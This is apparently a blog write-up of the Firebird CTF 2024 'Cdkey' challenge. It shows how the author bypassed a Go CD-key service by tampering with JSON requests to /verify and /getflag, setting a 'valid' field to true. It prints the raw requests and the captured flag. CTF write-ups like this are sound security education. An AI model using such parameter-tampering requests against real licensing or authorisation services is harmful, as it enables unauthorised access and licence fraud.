bebop404

Firebird CTF 2024: Cdkey

Client-side validation bypass on a Go CD-key verification service — flipping a boolean field to trick the server into issuing a flag.

2nd 🩸

Analyse (Blackbox)

The problem provides a server and a client.

First, I start the server locally and then the client to see what happens.

I'm not sure which port the server binds to, it looks like it binds to 8080.

Server startup

Run the client with the command:

./client --server http://127.0.0.1:8080

Client output

Upon starting and entering a random input, I observe that there is a /verify interface. So I decide to try remote testing because starting the server locally gives an error about a missing file.

I send a random POST request using Burp Suite.

First request

Based on experience from the last reverse question (Backdoor), I modify the content type to application/json and send an empty JSON object.

POST /verify HTTP/1.1
Host: ash-chal.firebird.sh:36002
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
content-type: application/json
Content-Length: 276
 
{	
 
}

Empty JSON response

The server responds indicating that a cdkey is needed.

I then send a random 'cdkey' in the POST request.

POST /verify HTTP/1.1
Host: ash-chal.firebird.sh:36002
content-type: application/json
Content-Length: 288
 
{	
"cdkey":"1"
}

The server echoes back three parameters, as shown below.

Three fields returned

Searching for the string flag in the client, I find a /getflag interface.

/getflag interface

Exploit

Exploit step 1

Exploit step 2

Exploit step 3

Three fields are required:

{	
"id":"1",
"valid":false,
"signature":"1"
}

The verify interface returns these three fields, which I then POST back. The server responds with 'invalid'.

Invalid response

So I change valid to true.

valid:true

Finally, I send the following POST request to /getflag:

POST /getflag HTTP/1.1
Host: ash-chal.firebird.sh:36002
content-type: application/json
Content-Length: 274
 
{	
"id":"4cc1a107-295d-4af2-82ff-09a2060296fd",
"signature":"5C9040D8896B2A4D4E14F695290E7CA3BC8BABC7EC72B3BAFFCAD6B254480E9C0C512DE9FB6C978D1F76D8A80EAAAEFF812CBD473EA817E7E7093D036934EB68D3C7004772D70B43FD090ED01AB01F802B66E6982115939A653394351FA7AED5",
"valid":true
}

Flag response

Response:

HTTP/1.1 200 OK
content-length: 74
connection: close
content-type: application/json
date: Sun, 21 Jan 2024 13:50:32 GMT
 
{"flag":"firebird{cl15n7_s1d3_v4lida710n_bu7_s3rv3r_s1d3?~}\n","error":""}

The server responds with the flag: firebird{cl15n7_s1d3_v4lida710n_bu7_s3rv3r_s1d3?~}

GLHF~